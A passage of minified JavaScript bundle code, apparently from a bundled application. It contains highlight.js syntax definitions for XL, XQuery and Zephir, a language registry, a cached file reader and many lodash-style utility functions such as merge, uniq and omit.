Charts"},Y={className:"string",begin:'"',end:'"',illegal:"\\n"},z={className:"string",begin:"'",end:"'",illegal:"\\n"},w={className:"string",begin:"<<",end:">>"},H={className:"number",begin:"[0-9]+#[0-9A-Z_]+(\\.[0-9-A-Z_]+)?#?([Ee][+-]?[0-9]+)?"},J={beginKeywords:"import",end:"$",keywords:q,contains:[Y]},O={className:"function",begin:/[a-z][^\n]*->/,returnBegin:!0,end:/->/,contains:[A.inherit(A.TITLE_MODE,{starts:{endsWithParent:!0,keywords:q}})]};return{name:"XL",aliases:["tao"],keywords:q,contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Y,z,w,O,J,H,A.NUMBER_MODE]}}V_8.exports=tNq});var T_8=v((_Rz,N_8)=>{function eNq(A){return{name:"XQuery",aliases:["xpath","xq"],case_insensitive:!1,illegal:/(proc)|(abstract)|(extends)|(until)|(#)/,keywords:{$pattern:/[a-zA-Z$][a-zA-Z0-9_:-]*/,keyword:"module schema namespace boundary-space preserve no-preserve strip default collation base-uri ordering context decimal-format decimal-separator copy-namespaces empty-sequence except exponent-separator external grouping-separator inherit no-inherit lax minus-sign per-mille percent schema-attribute schema-element strict unordered zero-digit declare import option function validate variable for at in let where order group by return if then else tumbling sliding window start when only end previous next stable ascending descending allowing empty greatest least some every satisfies switch case typeswitch try catch and or to union intersect instance of treat as castable cast map array delete insert into replace value rename copy modify update",type:"item document-node node attribute document element comment namespace namespace-node processing-instruction text construction xs:anyAtomicType xs:untypedAtomic xs:duration xs:time xs:decimal xs:float xs:double xs:gYearMonth xs:gYear xs:gMonthDay xs:gMonth xs:gDay xs:boolean xs:base64Binary xs:hexBinary xs:anyURI xs:QName xs:NOTATION xs:dateTime xs:dateTimeStamp xs:date xs:string xs:normalizedString xs:token xs:language xs:NMTOKEN xs:Name xs:NCName xs:ID xs:IDREF xs:ENTITY xs:integer xs:nonPositiveInteger xs:negativeInteger xs:long xs:int xs:short xs:byte xs:nonNegativeInteger xs:unisignedLong xs:unsignedInt xs:unsignedShort xs:unsignedByte xs:positiveInteger xs:yearMonthDuration xs:dayTimeDuration",literal:"eq ne lt le gt ge is self:: child:: descendant:: descendant-or-self:: attribute:: following:: following-sibling:: parent:: ancestor:: ancestor-or-self:: preceding:: preceding-sibling:: NaN"},contains:[{className:"variable",begin:/[$][\w\-:]+/},{className:"built_in",variants:[{begin:/\barray:/,end:/(?:append|filter|flatten|fold-(?:left|right)|for-each(?:-pair)?|get|head|insert-before|join|put|remove|reverse|size|sort|subarray|tail)\b/},{begin:/\bmap:/,end:/(?:contains|entry|find|for-each|get|keys|merge|put|remove|size)\b/},{begin:/\bmath:/,end:/(?:a(?:cos|sin|tan[2]?)|cos|exp(?:10)?|log(?:10)?|pi|pow|sin|sqrt|tan)\b/},{begin:/\bop:/,end:/\(/,excludeEnd:!0},{begin:/\bfn:/,end:/\(/,excludeEnd:!0},{begin:/[^</$:'"-]\b(?:abs|accumulator-(?:after|before)|adjust-(?:date(?:Time)?|time)-to-timezone|analyze-string|apply|available-(?:environment-variables|system-properties)|avg|base-uri|boolean|ceiling|codepoints?-(?:equal|to-string)|collation-key|collection|compare|concat|contains(?:-token)?|copy-of|count|current(?:-)?(?:date(?:Time)?|time|group(?:ing-key)?|output-uri|merge-(?:group|key))?data|dateTime|days?-from-(?:date(?:Time)?|duration)|deep-equal|default-(?:collation|language)|distinct-values|document(?:-uri)?|doc(?:-available)?|element-(?:available|with-id)|empty|encode-for-uri|ends-with|environment-variable|error|escape-html-uri|exactly-one|exists|false|filter|floor|fold-(?:left|right)|for-each(?:-pair)?|format-(?:date(?:Time)?|time|integer|number)|function-(?:arity|available|lookup|name)|generate-id|has-children|head|hours-from-(?:dateTime|duration|time)|id(?:ref)?|implicit-timezone|in-scope-prefixes|index-of|innermost|insert-before|iri-to-uri|json-(?:doc|to-xml)|key|lang|last|load-xquery-module|local-name(?:-from-QName)?|(?:lower|upper)-case|matches|max|minutes-from-(?:dateTime|duration|time)|min|months?-from-(?:date(?:Time)?|duration)|name(?:space-uri-?(?:for-prefix|from-QName)?)?|nilled|node-name|normalize-(?:space|unicode)|not|number|one-or-more|outermost|parse-(?:ietf-date|json)|path|position|(?:prefix-from-)?QName|random-number-generator|regex-group|remove|replace|resolve-(?:QName|uri)|reverse|root|round(?:-half-to-even)?|seconds-from-(?:dateTime|duration|time)|snapshot|sort|starts-with|static-base-uri|stream-available|string-?(?:join|length|to-codepoints)?|subsequence|substring-?(?:after|before)?|sum|system-property|tail|timezone-from-(?:date(?:Time)?|time)|tokenize|trace|trans(?:form|late)|true|type-available|unordered|unparsed-(?:entity|text)?-?(?:public-id|uri|available|lines)?|uri-collection|xml-to-json|years?-from-(?:date(?:Time)?|duration)|zero-or-one)\b/},{begin:/\blocal:/,end:/\(/,excludeEnd:!0},{begin:/\bzip:/,end:/(?:zip-file|(?:xml|html|text|binary)-entry| (?:update-)?entries)\b/},{begin:/\b(?:util|db|functx|app|xdmp|xmldb):/,end:/\(/,excludeEnd:!0}]},{className:"string",variants:[{begin:/"/,end:/"/,contains:[{begin:/""/,relevance:0}]},{begin:/'/,end:/'/,contains:[{begin:/''/,relevance:0}]}]},{className:"number",begin:/(\b0[0-7_]+)|(\b0x[0-9a-fA-F_]+)|(\b[1-9][0-9_]*(\.[0-9_]+)?)|[0_]\b/,relevance:0},{className:"comment",begin:/\(:/,end:/:\)/,relevance:10,contains:[{className:"doctag",begin:/@\w+/}]},{className:"meta",begin:/%[\w\-:]+/},{className:"title",begin:/\bxquery version "[13]\.[01]"\s?(?:encoding ".+")?/,end:/;/},{beginKeywords:"element attribute comment document processing-instruction",end:/\{/,excludeEnd:!0},{begin:/<([\w._:-]+)(\s+\S*=('|").*('|"))?>/,end:/(\/[\w._:-]+>)/,subLanguage:"xml",contains:[{begin:/\{/,end:/\}/,subLanguage:"xquery"},"self"]}]}}N_8.exports=eNq});var E_8=v((GRz,v_8)=>{function ATq(A){let K={className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[A.inherit(A.APOS_STRING_MODE,{illegal:null}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null})]},q=A.UNDERSCORE_TITLE_MODE,Y={variants:[A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE]},z="namespace class interface use extends function return abstract final public protected private static deprecated throw try catch Exception echo empty isset instanceof unset let var new const self require if else elseif switch case default do while loop for continue break likely unlikely __LINE__ __FILE__ __DIR__ __FUNCTION__ __CLASS__ __TRAIT__ __METHOD__ __NAMESPACE__ array boolean float double integer object resource string char long unsigned bool int uint ulong uchar true false null undefined";return{name:"Zephir",aliases:["zep"],keywords:z,contains:[A.C_LINE_COMMENT_MODE,A.COMMENT(/\/\*/,/\*\//,{contains:[{className:"doctag",begin:/@[A-Za-z]+/}]}),{className:"string",begin:/<<<['"]?\w+['"]?$/,end:/^\w+;/,contains:[A.BACKSLASH_ESCAPE]},{begin:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{className:"function",beginKeywords:"function fn",end:/[;{]/,excludeEnd:!0,illegal:/\$|\[|%/,contains:[q,{className:"params",begin:/\(/,end:/\)/,keywords:z,contains:["self",A.C_BLOCK_COMMENT_MODE,K,Y]}]},{className:"class",beginKeywords:"class interface",end:/\{/,excludeEnd:!0,illegal:/[:($"]/,contains:[{beginKeywords:"extends implements"},q]},{beginKeywords:"namespace",end:/;/,illegal:/[.']/,contains:[q]},{beginKeywords:"use",end:/;/,contains:[q]},{begin:/=>/},K,Y]}}v_8.exports=ATq});var Ex1=v((ZRz,k_8)=>{var r1=Fz8();r1.registerLanguage("1c",Uz8());r1.registerLanguage("abnf",dz8());r1.registerLanguage("accesslog",iz8());r1.registerLanguage("actionscript",rz8());r1.registerLanguage("ada",az8());r1.registerLanguage("angelscript",tz8());r1.registerLanguage("apache",Aw8());r1.registerLanguage("applescript",ww8());r1.registerLanguage("arcade",Jw8());r1.registerLanguage("arduino",Xw8());r1.registerLanguage("armasm",_w8());r1.registerLanguage("xml",Dw8());r1.registerLanguage("asciidoc",Pw8());r1.registerLanguage("aspectj",fw8());r1.registerLanguage("autohotkey",Tw8());r1.registerLanguage("autoit",Ew8());r1.registerLanguage("avrasm",Cw8());r1.registerLanguage("awk",Rw8());r1.registerLanguage("axapta",Iw8());r1.registerLanguage("bash",hw8());r1.registerLanguage("basic",xw8());r1.registerLanguage("bnf",Bw8());r1.registerLanguage("brainfuck",gw8());r1.registerLanguage("c-like",Qw8());r1.registerLanguage("c",pw8());r1.registerLanguage("cal",cw8());r1.registerLanguage("capnproto",iw8());r1.registerLanguage("ceylon",rw8());r1.registerLanguage("clean",aw8());r1.registerLanguage("clojure",tw8());r1.registerLanguage("clojure-repl",AH8());r1.registerLanguage("cmake",qH8());r1.registerLanguage("coffeescript",zH8());r1.registerLanguage("coq",HH8());r1.registerLanguage("cos",OH8());r1.registerLanguage("cpp",$H8());r1.registerLanguage("crmsh",GH8());r1.registerLanguage("crystal",WH8());r1.registerLanguage("csharp",jH8());r1.registerLanguage("csp",PH8());r1.registerLanguage("css",fH8());r1.registerLanguage("d",TH8());r1.registerLanguage("markdown",EH8());r1.registerLanguage("dart",CH8());r1.registerLanguage("delphi",RH8());r1.registerLanguage("diff",IH8());r1.registerLanguage("django",hH8());r1.registerLanguage("dns",xH8());r1.registerLanguage("dockerfile",BH8());r1.registerLanguage("dos",gH8());r1.registerLanguage("dsconfig",QH8());r1.registerLanguage("dts",pH8());r1.registerLanguage("dust",cH8());r1.registerLanguage("ebnf",iH8());r1.registerLanguage("elixir",rH8());r1.registerLanguage("elm",aH8());r1.registerLanguage("ruby",eH8());r1.registerLanguage("erb",KJ8());r1.registerLanguage("erlang-repl",YJ8());r1.registerLanguage("erlang",wJ8());r1.registerLanguage("excel",JJ8());r1.registerLanguage("fix",XJ8());r1.registerLanguage("flix",_J8());r1.registerLanguage("fortran",ZJ8());r1.registerLanguage("fsharp",DJ8());r1.registerLanguage("gams",MJ8());r1.registerLanguage("gauss",VJ8());r1.registerLanguage("gcode",NJ8());r1.registerLanguage("gherkin",vJ8());r1.registerLanguage("glsl",kJ8());r1.registerLanguage("gml",LJ8());r1.registerLanguage("go",yJ8());r1.registerLanguage("golo",SJ8());r1.registerLanguage("gradle",bJ8());r1.registerLanguage("groovy",uJ8());r1.registerLanguage("haml",mJ8());r1.registerLanguage("handlebars",QJ8());r1.registerLanguage("haskell",pJ8());r1.registerLanguage("haxe",cJ8());r1.registerLanguage("hsp",iJ8());r1.registerLanguage("htmlbars",oJ8());r1.registerLanguage("http",sJ8());r1.registerLanguage("hy",eJ8());r1.registerLanguage("inform7",KO8());r1.registerLanguage("ini",wO8());r1.registerLanguage("irpf90",JO8());r1.registerLanguage("isbl",XO8());r1.registerLanguage("java",_O8());r1.registerLanguage("javascript",WO8());r1.registerLanguage("jboss-cli",jO8());r1.registerLanguage("json",PO8());r1.registerLanguage("julia",fO8());r1.registerLanguage("julia-repl",TO8());r1.registerLanguage("kotlin",EO8());r1.registerLanguage("lasso",CO8());r1.registerLanguage("latex",RO8());r1.registerLanguage("ldif",IO8());r1.registerLanguage("leaf",hO8());r1.registerLanguage("less",BO8());r1.registerLanguage("lisp",gO8());r1.registerLanguage("livecodeserver",QO8());r1.registerLanguage("livescript",pO8());r1.registerLanguage("llvm",cO8());r1.registerLanguage("lsl",iO8());r1.registerLanguage("lua",rO8());r1.registerLanguage("makefile",aO8());r1.registerLanguage("mathematica",K08());r1.registerLanguage("matlab",Y08());r1.registerLanguage("maxima",w08());r1.registerLanguage("mel",J08());r1.registerLanguage("mercury",X08());r1.registerLanguage("mipsasm",_08());r1.registerLanguage("mizar",Z08());r1.registerLanguage("perl",M08());r1.registerLanguage("mojolicious",V08());r1.registerLanguage("monkey",N08());r1.registerLanguage("moonscript",v08());r1.registerLanguage("n1ql",k08());r1.registerLanguage("nginx",L08());r1.registerLanguage("nim",y08());r1.registerLanguage("nix",S08());r1.registerLanguage("node-repl",b08());r1.registerLanguage("nsis",u08());r1.registerLanguage("objectivec",m08());r1.registerLanguage("ocaml",F08());r1.registerLanguage("openscad",U08());r1.registerLanguage("oxygene",d08());r1.registerLanguage("parser3",l08());r1.registerLanguage("pf",n08());r1.registerLanguage("pgsql",o08());r1.registerLanguage("php",s08());r1.registerLanguage("php-template",e08());r1.registerLanguage("plaintext",KX8());r1.registerLanguage("pony",YX8());r1.registerLanguage("powershell",wX8());r1.registerLanguage("processing",JX8());r1.registerLanguage("profile",XX8());r1.registerLanguage("prolog",_X8());r1.registerLanguage("properties",ZX8());r1.registerLanguage("protobuf",DX8());r1.registerLanguage("puppet",MX8());r1.registerLanguage("purebasic",VX8());r1.registerLanguage("python",NX8());r1.registerLanguage("python-repl",vX8());r1.registerLanguage("q",kX8());r1.registerLanguage("qml",LX8());r1.registerLanguage("r",yX8());r1.registerLanguage("reasonml",SX8());r1.registerLanguage("rib",bX8());r1.registerLanguage("roboconf",uX8());r1.registerLanguage("routeros",mX8());r1.registerLanguage("rsl",FX8());r1.registerLanguage("ruleslanguage",UX8());r1.registerLanguage("rust",dX8());r1.registerLanguage("sas",lX8());r1.registerLanguage("scala",nX8());r1.registerLanguage("scheme",oX8());r1.registerLanguage("scilab",sX8());r1.registerLanguage("scss",eX8());r1.registerLanguage("shell",K$8());r1.registerLanguage("smali",Y$8());r1.registerLanguage("smalltalk",w$8());r1.registerLanguage("sml",J$8());r1.registerLanguage("sqf",X$8());r1.registerLanguage("sql_more",_$8());r1.registerLanguage("sql",W$8());r1.registerLanguage("stan",j$8());r1.registerLanguage("stata",P$8());r1.registerLanguage("step21",f$8());r1.registerLanguage("stylus",T$8());r1.registerLanguage("subunit",E$8());r1.registerLanguage("swift",b$8());r1.registerLanguage("taggerscript",u$8());r1.registerLanguage("yaml",m$8());r1.registerLanguage("tap",F$8());r1.registerLanguage("tcl",p$8());r1.registerLanguage("thrift",c$8());r1.registerLanguage("tp",i$8());r1.registerLanguage("twig",r$8());r1.registerLanguage("typescript",A_8());r1.registerLanguage("vala",q_8());r1.registerLanguage("vbnet",w_8());r1.registerLanguage("vbscript",O_8());r1.registerLanguage("vbscript-html",$_8());r1.registerLanguage("verilog",G_8());r1.registerLanguage("vhdl",W_8());r1.registerLanguage("vim",j_8());r1.registerLanguage("x86asm",P_8());r1.registerLanguage("xl",f_8());r1.registerLanguage("xquery",T_8());r1.registerLanguage("zephir",E_8());k_8.exports=r1});class C_8{cache=new Map;maxCacheSize=1000;readFile(A){let K=BA(),q;try{q=K.statSync(A)}catch(J){throw this.cache.delete(A),J}let Y=A,z=this.cache.get(Y);if(z&&z.mtime===q.mtimeMs)return{content:z.content,encoding:z.encoding};let w=gX(A),H=K.readFileSync(A,{encoding:w}).replaceAll(`\r `,` `);if(this.cache.set(Y,{content:H,encoding:w,mtime:q.mtimeMs}),this.cache.size>this.maxCacheSize){let J=this.cache.keys().next().value;if(J)this.cache.delete(J)}return{content:H,encoding:w}}clear(){this.cache.clear()}invalidate(A){this.cache.delete(A)}getStats(){return{size:this.cache.size,entries:Array.from(this.cache.keys())}}}var L_8;var R_8=k(()=>{e6();YK();L_8=new C_8});function KTq(A,K,q){switch(q.length){case 0:return A.call(K);case 1:return A.call(K,q[0]);case 2:return A.call(K,q[0],q[1]);case 3:return A.call(K,q[0],q[1],q[2])}return A.apply(K,q)}var y_8;var I_8=k(()=>{y_8=KTq});function qTq(){}var ig;var kx1=k(()=>{ig=qTq});function HTq(A){var K=0,q=0;return function(){var Y=wTq(),z=zTq-(Y-q);if(q=Y,z>0){if(++K>=YTq)return arguments[0]}else K=0;return A.apply(void 0,arguments)}}var YTq=800,zTq=16,wTq,S_8;var h_8=k(()=>{wTq=Date.now;S_8=HTq});function JTq(A){return function(){return A}}var b_8;var x_8=k(()=>{b_8=JTq});var OTq,u_8;var B_8=k(()=>{x_8();LR1();fnA();OTq=!jzA?e2A:function(A,K){return jzA(A,"toString",{configurable:!0,enumerable:!1,value:b_8(K),writable:!0})},u_8=OTq});var XTq,CaA;var Cx1=k(()=>{B_8();h_8();XTq=S_8(u_8),CaA=XTq});function $Tq(A,K,q,Y){var z=A.length,w=q+(Y?1:-1);while(Y?w--:++w<z)if(K(A[w],w,A))return w;return-1}var m_8;var g_8=k(()=>{m_8=$Tq});function _Tq(A){return A!==A}var F_8;var Q_8=k(()=>{F_8=_Tq});function GTq(A,K,q){var Y=q-1,z=A.length;while(++Y<z)if(A[Y]===K)return Y;return-1}var U_8;var p_8=k(()=>{U_8=GTq});function ZTq(A,K,q){return K===K?U_8(A,K,q):m_8(A,F_8,q)}var d_8;var c_8=k(()=>{g_8();Q_8();p_8();d_8=ZTq});function WTq(A,K){var q=A==null?0:A.length;return!!q&&d_8(A,K,0)>-1}var l_8;var i_8=k(()=>{c_8();l_8=WTq});function DTq(A,K,q){return K=n_8(K===void 0?A.length-1:K,0),function(){var Y=arguments,z=-1,w=n_8(Y.length-K,0),H=Array(w);while(++z<w)H[z]=Y[K+z];z=-1;var J=Array(K+1);while(++z<K)J[z]=Y[z];return J[K]=q(H),y_8(A,this,J)}}var n_8,LaA;var Lx1=k(()=>{I_8();n_8=Math.max;LaA=DTq});function jTq(A,K){return CaA(LaA(A,K,e2A),A+"")}var r_8;var o_8=k(()=>{fnA();Lx1();Cx1();r_8=jTq});function MTq(A,K,q){if(!aJ(q))return!1;var Y=typeof K;if(Y=="number"?Bh(q)&&Wl(K,q.length):Y=="string"&&(K in q))return Sh(q[K],A);return!1}var a_8;var s_8=k(()=>{b2A();l2A();NNA();WE();a_8=MTq});function PTq(A){return r_8(function(K,q){var Y=-1,z=q.length,w=z>1?q[z-1]:void 0,H=z>2?q[2]:void 0;if(w=A.length>3&&typeof w=="function"?(z--,w):void 0,H&&a_8(q[0],q[1],H))w=z<3?void 0:w,z=1;K=Object(K);while(++Y<z){var J=q[Y];if(J)A(K,J,Y,w)}return K})}var t_8;var e_8=k(()=>{o_8();s_8();t_8=PTq});function VTq(A){return L2(A)||Sg(A)||!!(AG8&&A&&A[AG8])}var AG8,KG8;var qG8=k(()=>{tAA();VNA();pj();AG8=Q_?Q_.isConcatSpreadable:void 0;KG8=VTq});function YG8(A,K,q,Y,z){var w=-1,H=A.length;q||(q=KG8),z||(z=[]);while(++w<H){var J=A[w];if(K>0&&q(J))if(K>1)YG8(J,K-1,q,Y,z);else F2A(z,J);else if(!Y)z[z.length]=J}return z}var zG8;var wG8=k(()=>{iiA();qG8();zG8=YG8});function fTq(A){var K=A==null?0:A.length;return K?zG8(A,1):[]}var HG8;var JG8=k(()=>{wG8();HG8=fTq});function NTq(A){return CaA(LaA(A,void 0,HG8),A+"")}var OG8;var XG8=k(()=>{JG8();Lx1();Cx1();OG8=NTq});function LTq(A){if(!r$(A)||IN(A)!=TTq)return!1;var K=PzA(A);if(K===null)return!0;var q=kTq.call(K,"constructor")&&K.constructor;return typeof q=="function"&&q instanceof q&&$G8.call(q)==CTq}var TTq="[object Object]",vTq,ETq,$G8,kTq,CTq,nwA;var RaA=k(()=>{eAA();anA();bh();vTq=Function.prototype,ETq=Object.prototype,$G8=vTq.toString,kTq=ETq.hasOwnProperty,CTq=$G8.call(Object);nwA=LTq});function RTq(A,K,q){var Y=-1,z=A.length;if(K<0)K=-K>z?0:z+K;if(q=q>z?z:q,q<0)q+=z;z=K>q?0:q-K>>>0,K>>>=0;var w=Array(z);while(++Y<z)w[Y]=A[Y+K];return w}var yaA;var Rx1=k(()=>{yaA=RTq});function yTq(A,K,q){var Y=A.length;return q=q===void 0?Y:q,!K&&q>=Y?A:yaA(A,K,q)}var _G8;var GG8=k(()=>{Rx1();_G8=yTq});function gTq(A){return mTq.test(A)}var ITq="\\ud800-\\udfff",STq="\\u0300-\\u036f",hTq="\\ufe20-\\ufe2f",bTq="\\u20d0-\\u20ff",xTq,uTq="\\ufe0e\\ufe0f",BTq="\\u200d",mTq,IaA;var yx1=k(()=>{xTq=STq+hTq+bTq,mTq=RegExp("["+BTq+ITq+xTq+uTq+"]");IaA=gTq});function FTq(A){return A.split("")}var ZG8;var WG8=k(()=>{ZG8=FTq});function tTq(A){return A.match(sTq)||[]}var DG8="\\ud800-\\udfff",QTq="\\u0300-\\u036f",UTq="\\ufe20-\\ufe2f",pTq="\\u20d0-\\u20ff",dTq,cTq="\\ufe0e\\ufe0f",lTq,Ix1,Sx1="\\ud83c[\\udffb-\\udfff]",iTq,jG8,MG8="(?:\\ud83c[\\udde6-\\uddff]){2}",PG8="[\\ud800-\\udbff][\\udc00-\\udfff]",nTq="\\u200d",VG8,fG8,rTq,oTq,aTq,sTq,NG8;var TG8=k(()=>{dTq=QTq+UTq+pTq,lTq="["+DG8+"]",Ix1="["+dTq+"]",iTq="(?:"+Ix1+"|"+Sx1+")",jG8="[^"+DG8+"]",VG8=iTq+"?",fG8="["+cTq+"]?",rTq="(?:"+nTq+"(?:"+[jG8,MG8,PG8].join("|")+")"+fG8+VG8+")*",oTq=fG8+VG8+rTq,aTq="(?:"+[jG8+Ix1+"?",Ix1,MG8,PG8,lTq].join("|")+")",sTq=RegExp(Sx1+"(?="+Sx1+")|"+aTq+oTq,"g");NG8=tTq});function eTq(A){return IaA(A)?NG8(A):ZG8(A)}var vG8;var EG8=k(()=>{WG8();yx1();TG8();vG8=eTq});function Avq(A){return function(K){K=a2A(K);var q=IaA(K)?vG8(K):void 0,Y=q?q[0]:K.charAt(0),z=q?_G8(q,1).join(""):K.slice(1);return Y[A]()+z}}var kG8;var CG8=k(()=>{GG8();yx1();EG8();PnA();kG8=Avq});var Kvq,LG8;var RG8=k(()=>{CG8();Kvq=kG8("toUpperCase"),LG8=Kvq});function qvq(A){return LG8(a2A(A).toLowerCase())}var ng;var nTA=k(()=>{PnA();RG8();ng=qvq});function Yvq(A,K,q,Y){var z=-1,w=A==null?0:A.length;while(++z<w){var H=A[z];K(Y,H,q(H),A)}return Y}var yG8;var IG8=k(()=>{yG8=Yvq});function zvq(A){return function(K,q,Y){var z=-1,w=Object(K),H=Y(K),J=H.length;while(J--){var O=H[A?J:++z];if(q(w[O],O,w)===!1)break}return K}}var SG8;var hG8=k(()=>{SG8=zvq});var wvq,SaA;var hx1=k(()=>{hG8();wvq=SG8(),SaA=wvq});function Hvq(A,K){return A&&SaA(A,K,DE)}var haA;var bx1=k(()=>{hx1();K1A();haA=Hvq});function Jvq(A,K){return function(q,Y){if(q==null)return q;if(!Bh(q))return A(q,Y);var z=q.length,w=K?z:-1,H=Object(q);while(K?w--:++w<z)if(Y(H[w],w,H)===!1)break;return q}}var bG8;var xG8=k(()=>{l2A();bG8=Jvq});var Ovq,baA;var xx1=k(()=>{bx1();xG8();Ovq=bG8(haA),baA=Ovq});function Xvq(A,K,q,Y){return baA(A,function(z,w,H){K(Y,z,q(z),H)}),Y}var uG8;var BG8=k(()=>{xx1();uG8=Xvq});function $vq(A,K){return function(q,Y){var z=L2(q)?yG8:uG8,w=K?K():{};return z(q,A,gh(Y,2),w)}}var mG8;var gG8=k(()=>{IG8();BG8();AzA();pj();mG8=$vq});function _vq(A,K,q){if(q!==void 0&&!Sh(A[K],q)||q===void 0&&!(K in A))fl(A,K,q)}var rTA;var ux1=k(()=>{xNA();b2A();rTA=_vq});function Gvq(A){return r$(A)&&Bh(A)}var FG8;var QG8=k(()=>{l2A();bh();FG8=Gvq});function Zvq(A,K){if(K==="constructor"&&typeof A[K]==="function")return;if(K=="__proto__")return;return A[K]}var oTA;var Bx1=k(()=>{oTA=Zvq});function Wvq(A){return NE(A,dh(A))}var UG8;var pG8=k(()=>{O1A();MzA();UG8=Wvq});function Dvq(A,K,q,Y,z,w,H){var J=oTA(A,q),O=oTA(K,q),X=H.get(O);if(X){rTA(A,q,X);return}var $=w?w(J,O,q+"",A,K,H):void 0,_=$===void 0;if(_){var G=L2(O),Z=!G&&xh(O),W=!G&&!Z&&d2A(O);if($=O,G||Z||W)if(L2(J))$=J;else if(FG8(J))$=onA(J);else if(Z)_=!1,$=BNA(O,!0);else if(W)_=!1,$=ArA(O,!0);else $=[];else if(nwA(O)||Sg(O)){if($=J,Sg(J))$=UG8(J);else if(!aJ(J)||S2A(J))$=KrA(O)}else _=!1}if(_)H.set(O,$),z($,O,Y,w,H),H.delete(O);rTA(A,q,$)}var dG8;var cG8=k(()=>{ux1();RR1();hR1();yR1();bR1();VNA();pj();QG8();fNA();miA();WE();RaA();znA();Bx1();pG8();dG8=Dvq});function lG8(A,K,q,Y,z){if(A===K)return;SaA(K,function(w,H){if(z||(z=new hh),aJ(w))dG8(A,K,H,q,lG8,Y,z);else{var J=Y?Y(oTA(A,H),w,H+"",A,K,z):void 0;if(J===void 0)J=w;rTA(A,H,J)}},dh)}var iG8;var nG8=k(()=>{PNA();ux1();hx1();cG8();WE();MzA();Bx1();iG8=lG8});var jvq,xaA;var rG8=k(()=>{nG8();e_8();jvq=t_8(function(A,K,q,Y){iG8(A,K,q,Y)}),xaA=jvq});function Mvq(A,K,q){var Y=-1,z=A==null?0:A.length;while(++Y<z)if(q(K,A[Y]))return!0;return!1}var oG8;var aG8=k(()=>{oG8=Mvq});function Pvq(A){var K=A==null?0:A.length;return K?A[K-1]:void 0}var KD;var F1A=k(()=>{KD=Pvq});function Vvq(A,K){var q=[];return baA(A,function(Y,z,w){if(K(Y,z,w))q.push(Y)}),q}var sG8;var tG8=k(()=>{xx1();sG8=Vvq});function fvq(A,K){return o2A(K,function(q){return A[q]})}var eG8;var AZ8=k(()=>{MnA();eG8=fvq});function Nvq(A){return A==null?[]:eG8(A,DE(A))}var KZ8;var qZ8=k(()=>{AZ8();K1A();KZ8=Nvq});function Tvq(A,K){return K.length<2?A:t2A(A,yaA(K,0,-1))}var YZ8;var zZ8=k(()=>{VnA();Rx1();YZ8=Tvq});function vvq(A,K){return i2A(A,K)}var Q1A;var mx1=k(()=>{GnA();Q1A=vvq});function Evq(A,K){var q={};return K=gh(K,3),haA(A,function(Y,z,w){fl(q,z,K(Y,z,w))}),q}var U1A;var uaA=k(()=>{xNA();bx1();AzA();U1A=Evq});function Cvq(A){if(typeof A!="function")throw TypeError(kvq);return function(){var K=arguments;switch(K.length){case 0:return!A.call(this);case 1:return!A.call(this,K[0]);case 2:return!A.call(this,K[0],K[1]);case 3:return!A.call(this,K[0],K[1],K[2])}return!A.apply(this,K)}}var kvq="Expected a function",wZ8;var HZ8=k(()=>{wZ8=Cvq});function Lvq(A,K){return K=mh(K,A),A=YZ8(A,K),A==null||delete A[jE(KD(K))]}var JZ8;var OZ8=k(()=>{s2A();F1A();zZ8();Y1A();JZ8=Lvq});function Rvq(A){return nwA(A)?void 0:A}var XZ8;var $Z8=k(()=>{RaA();XZ8=Rvq});var yvq=1,Ivq=2,Svq=4,hvq,rwA;var gx1=k(()=>{MnA();xR1();OZ8();s2A();O1A();$Z8();XG8();SR1();hvq=OG8(function(A,K){var q={};if(A==null)return q;var Y=!1;if(K=o2A(K,function(w){return w=mh(w,A),Y||(Y=w.length>1),w}),NE(A,tnA(A),q),Y)q=YrA(q,yvq|Ivq|Svq,XZ8);var z=K.length;while(z--)JZ8(q,K[z]);return q}),rwA=hvq});function bvq(A,K,q,Y){if(!aJ(A))return A;K=mh(K,A);var z=-1,w=K.length,H=w-1,J=A;while(J!=null&&++z<w){var O=jE(K[z]),X=q;if(O==="__proto__"||O==="constructor"||O==="prototype")return A;if(z!=H){var $=J[O];if(X=Y?Y($,O,J):void 0,X===void 0)X=aJ($)?$:Wl(K[z+1])?[]:{}}Nl(J,O,X),J=J[O]}return A}var _Z8;var GZ8=k(()=>{uNA();s2A();NNA();WE();Y1A();_Z8=bvq});var xvq,ZZ8;var WZ8=k(()=>{gG8();xvq=mG8(function(A,K,q){A[q?0:1].push(K)},function(){return[[],[]]}),ZZ8=xvq});function mvq(A,K){return A+uvq(Bvq()*(K-A+1))}var uvq,Bvq,DZ8;var jZ8=k(()=>{uvq=Math.floor,Bvq=Math.random;DZ8=mvq});function gvq(A,K){var q=L2(A)?riA:sG8;return q(A,wZ8(gh(K,3)))}var Hb;var Fx1=k(()=>{nL1();tG8();AzA();pj();HZ8();Hb=gvq});function Fvq(A){var K=A.length;return K?A[DZ8(0,K-1)]:void 0}var BaA;var Qx1=k(()=>{jZ8();BaA=Fvq});function Qvq(A){return BaA(KZ8(A))}var MZ8;var PZ8=k(()=>{Qx1();qZ8();MZ8=Qvq});function Uvq(A){var K=L2(A)?BaA:MZ8;return K(A)}var rg;var aTA=k(()=>{Qx1();PZ8();pj();rg=Uvq});function pvq(A,K,q,Y){return Y=typeof Y=="function"?Y:void 0,A==null?A:_Z8(A,K,q,Y)}var VZ8;var fZ8=k(()=>{GZ8();VZ8=pvq});var dvq=1/0,cvq,NZ8;var TZ8=k(()=>{AR1();kx1();liA();cvq=!(Dl&&1/g2A(new Dl([,-0]))[1]==dvq)?ig:function(A){return new Dl(A)},NZ8=cvq});function ivq(A,K,q){var Y=-1,z=l_8,w=A.length,H=!0,J=[],O=J;if(q)H=!1,z=oG8;else if(w>=lvq){var X=K?null:NZ8(A);if(X)return g2A(X);H=!1,z=diA,O=new piA}else O=K?[]:J;A:while(++Y<w){var $=A[Y],_=K?K($):$;if($=q||$!==0?$:0,H&&_===_){var G=O.length;while(G--)if(O[G]===_)continue A;if(K)O.push(_);J.push($)}else if(!z(O,_,q)){if(O!==J)O.push(_);J.push($)}}return J}var lvq=200,vZ8;var EZ8=k(()=>{UL1();i_8();aG8();pL1();TZ8();liA();vZ8=ivq});function nvq(A,K){return A&&A.length?vZ8(A,gh(K,2)):[]}var Jb;var owA=k(()=>{AzA();EZ8();Jb=nvq});function rvq(A,K,q){var 